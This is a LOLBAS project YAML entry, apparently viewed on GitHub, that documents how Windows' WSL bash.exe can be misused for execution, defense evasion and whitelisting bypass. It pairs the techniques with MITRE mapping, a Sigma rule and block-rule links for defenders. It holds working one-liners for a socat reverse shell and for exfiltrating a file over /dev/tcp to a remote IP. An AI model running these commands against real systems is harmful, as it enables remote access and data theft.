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https://github.com/LOLBAS-Project/LOLBAS
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51 lines
2.0 KiB
YAML
51 lines
2.0 KiB
YAML
---
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Name: Bash.exe
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Description: File used by Windows subsystem for Linux
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: bash.exe -c calc.exe
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Description: Executes calc.exe from bash.exe
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Usecase: Performs execution of specified file, can be used as a defensive evasion.
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Category: Execute
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10
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- Command: bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
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Description: Executes a reverseshell
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Usecase: Performs execution of specified file, can be used as a defensive evasion.
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Category: Execute
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10
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- Command: bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'
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Description: Exfiltrate data
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Usecase: Performs execution of specified file, can be used as a defensive evasion.
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Category: Execute
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10
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- Command: bash.exe -c calc.exe
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Description: Executes calc.exe from bash.exe
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Usecase: Performs execution of specified file, can be used to bypass Application Whitelisting.
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Category: AWL Bypass
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10
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Full_Path:
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- Path: C:\Windows\System32\bash.exe
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- Path: C:\Windows\SysWOW64\bash.exe
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Code_Sample:
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- Code:
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Detection:
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- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
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- IOC: Child process from bash.exe
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Resources:
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- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
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Acknowledgement:
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- Person: Alex Ionescu
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Handle: '@aionescu'
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- Person: Asif Matadar
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Handle: '@d1r4c'
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